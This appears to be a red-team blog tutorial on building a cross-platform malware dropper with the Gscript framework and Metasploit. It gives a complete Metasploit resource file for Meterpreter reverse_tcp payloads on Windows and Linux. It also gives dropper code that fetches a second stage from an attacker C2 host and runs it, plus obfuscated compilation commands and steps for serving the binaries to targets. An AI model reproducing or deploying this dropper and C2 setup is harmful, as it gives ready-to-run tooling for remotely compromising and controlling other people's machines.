To skip to the important parts, look for the small blue diamonds 🔹


In this post, we’re creating a cross-platform payload dropper with an advanced, yet easy-to-use payload delivery framework called Gscript. Much like the “Infrastructure as Code” approach from DevOps, Genesis Framework (Gscript) enables the use of simplified code to configure and calibrate payload delivery and behavior.

From the Gscript Readme:

Gscript is a framework for building multi-tenant executors for several implants in a stager. The engine works by embedding runtime logic (powered by the V8 Javascript Virtual Machine) for each persistence technique. This logic gets run at deploy time on the victim machine, in parallel for every implant contained with the stager. The Gscript engine leverages the multi-platform support of Golang to produce final stage one binaries for Windows, Mac, and Linux.

Since Gscript uses small blocks of code that can be included in other Gscript files (.gs), it becomes very easy to atomically define our dropper’s behavior, and adapt the final payload with elegantly chained presets and payloads. Gscript also includes obfuscation features, as well as a standard library.

Knowing how to code in either Javascript or Golang is not required, although some general coding experience will be helpful.
-Reading this post, you can just copy and paste as described, replacing the IP value with your C2’s IP (yey repeatable operations ✨).-

The creators presented Gscript at DEFCON 22, and included a large number of examples in a separate repository here. This post is heavily inspired by this example.

Finally, they also shared the slides from the Gscript workshop here, which I also highly recommend.

This post acts as a small walk-through for deploying a cross-platform payload delivery backend, with a side of Docker containers to keep things quick & clean.


We’re going to set up Metasploit to deliver a Meterpreter payload for both Windows and Linux.
In a Gscript file (.gs), we’re going to create a Gscript dropper that will check the OS, then fetch and execute the second stage payload according to the OS.
We’ll then compile the script to an executable for both Windows and Linux.
The ideal setup is running the Docker host on a VPS somewhere in a data center.


We’ll first spin up Metasploit with a resource file containing all the setup instructions.
Once the C2 is live, we’ll use the generated URLs in a Gscript file. The code will be compiled using the Gscript container.

C2 setup is similar to the Introduction to Modern Routing for Red Team Infractures post if you have read it.

Setup 🔧


This post assumes you’ve already installed Docker. If not, check out the official documentation. It should be no more than a few copy/pastes.

Building the Genesis Framework image

First, we’re going to create a clean working environment on our remote host with an empty shared folder, and pull the Gscript repository.

🔹 On your Docker host:

$ mkdir gscript_tests
$ cd gscript_tests
$ mkdir shared
$ git clone

💡 The ./shared/ folder will be used as a shared folder between our containers and our host.

Let’s build the Gscript container with the latest code from the master branch.
I had to add an ENV variable line 13 to avoid system locales breaking the build. Keep in mind this might be coming from my end since my locale is in omelette du fromage 🇫🇷.

🔹 In the same shell, run the following:

$ sed -i '13s/^/ENV DEBIAN_FRONTEND noninteractive /' gscript/build/Dockerfile
$ docker build -t gscript ./gscript/build/

If you wish to use the stable version instead, you can run:

$ docker pull gen0cide/gscript:v1


We’re targeting both Windows x64 and Linux x64 using a Meterpreter reverse_tcp payload.
In the shared folder, let’s create a Metasploit resource file to automate payload generation and callback listener.
Alternatively, you may also start ./msfconsole without any resource file and configure it manually.

🔹 Open the new resource file:

$ nano ./shared/msf_gscript.rc

Here are the options to set for Metasploit. You can edit and copy them directly to the resource file that we’ll mount to the Metasploit container.

🔹 Copy the following in the file, replace YOUR-C2-EXT-IP, save and exit:

use exploit/multi/script/web_delivery
show targets

set target 5
set payload windows/x64/meterpreter_reverse_tcp
set URIPATH delivery_tcp_windows
set LPORT 4444
set ReverseListenerBindPort 4444
set SRVPORT 8080

set target 6
set payload linux/x64/meterpreter_reverse_tcp
set URIPATH delivery_tcp_linux
set LPORT 4445
set ReverseListenerBindPort 4445
set SRVPORT 8081

🔹 To run the container, execute the following on your Docker host:

$ pwd # Check you're still in our ./gscript_tests/ folder
$ docker run -it -v `pwd`/shared:/shared -p4444:4444 -p8080:8080 -p4445:4445 -p8081:8081 metasploitframework/metasploit-framework bash
$ ./msfconsole -r /shared/msf_gscript.rc

You’ll get an output showing you the payload URLs, and the associated command to run if you want to run the payload from shell directly.

Please note that we’re generating a vanilla meterpreter which will get caught by Windows Defender. Be sure to turn Real-Time protection Off when performing these tests. Here’s a nice documentation on evasion.


Our Gscript file is basically JavaScript that can optionally import Golang modules.
Gscript will look for a function called Deploy() as entry point. Here are the general instructions of the code below:

  • We’re first going to import the Golang os library to determine the host’s OS, and setting a timeout.
  • Our entry point, the Deploy() function will generate a random name for our incoming payload, and work out the temporary path based on the OS.
  • Based on the OS, we build the payload’s full path, and call the Drop() function.
  • The Drop() function fetches the payload according to the URL defined for the target’s OS, and writes it to the full path.
  • The G object gives us access to the standard Gscript library.
  • We return to the Deploy() function and execute the downloaded payload asynchronously.

🔹 Open a new shell to your Docker host. Open the new Gscript file:

$ cd gscript_tests
$ nano ./shared/

🔹 And paste the following, replacing YOUR-C2-EXT-IP, save and exit:

//go_import:os as os

function Drop(drop_url, fullpath) {

  var headers = {"User-Agent" : "Hello-Dont-Look-Thx"};

  drop = G.requests.GetURLAsBytes(drop_url, headers, true);
  errors = G.file.WriteFileFromBytes(fullpath, drop[1]);
  return true;

function Deploy() {
  var final_bin = G.rand.GetAlphaNumericString(6);
  var tmppath = os.TempDir();

  // Define your Metasploit delivery URLs here
  var windows_url = "http://YOUR-C2-EXT-IP:8080/delivery_tcp_windows'";
  var linux_url = "http://YOUR-C2-EXT-IP:8081/delivery_tcp_linux";
  if (OS == "windows") {
      //if windows
      fullpath = tmppath+"\\"+final_bin+".exe";
      Drop(windows_url, fullpath);

  } else {
      //if linux or OSX
      fullpath = tmppath+"/"+final_bin;
      Drop(linux_url, fullpath);
  var running = G.exec.ExecuteCommandAsync(fullpath, [""]);
  return true;

This is the condensed version. A version including error checks and console outputs can be found here

Let’s launch the Gscript container we built earlier and mount our shared folder.

🔹 In your terminal, launch:

$ docker run -it -v `pwd`/shared:/shared gscript

When compiling the dropper, you can either choose to compile with obfuscation, disabling console and debug messages, or without obfuscation, enabling console messages. You can also enable upx compression, additional imports and more with build args. You can check out the documentation for compilation here.

🔹 Compiling with obfuscation, suppressing console messages:

$ gscript compile --output-file /shared/windows_dropper.exe --os windows /shared/

$ gscript compile --output-file /shared/linux_dropper.bin --os linux /shared/

🔹 Or compiling without obfuscation, enabling console messages:

$ gscript compile --output-file /shared/windows_dropper.exe --os windows --obfuscation-level 3 /shared/

$ gscript compile --output-file /shared/linux_dropper.bin --os linux --obfuscation-level 3 /shared/

Serving the dropper 💥

We can now exit the Gscript shell and serve the generated files to our targets. We’re going to serve the payloads through a simple HTTP web server. In this case we’re using Python 2, but you can now distribute the binaries in the shared/ directory.

🔹 Exit the Gscript container, and run the following:


$ cd shared
$ python -m SimpleHTTPServer 9000

# If using python3 as default:
$ python3 -m http.server 9000

Open your browser to http://YOUR-EXT-C2-IP:9000 on your target, download the appropriate dropper and hopefully you’ll be getting a Meterpreter delivery and execution on two different OS from the same code base.

Both platforms calling back after using Gscript as dropper

Going further

Now that we can easily deploy C2s, wouldn’t it be nice if we could have clean way of creating redirectors, proxies or fronting technics, with repeatable deployment configuration?

If that tickles your fancy, be sure to check out my previous post; Introduction to Modern Routing for Red Team Infracture for doing just that. It comes with a clean interface for monitoring your services too!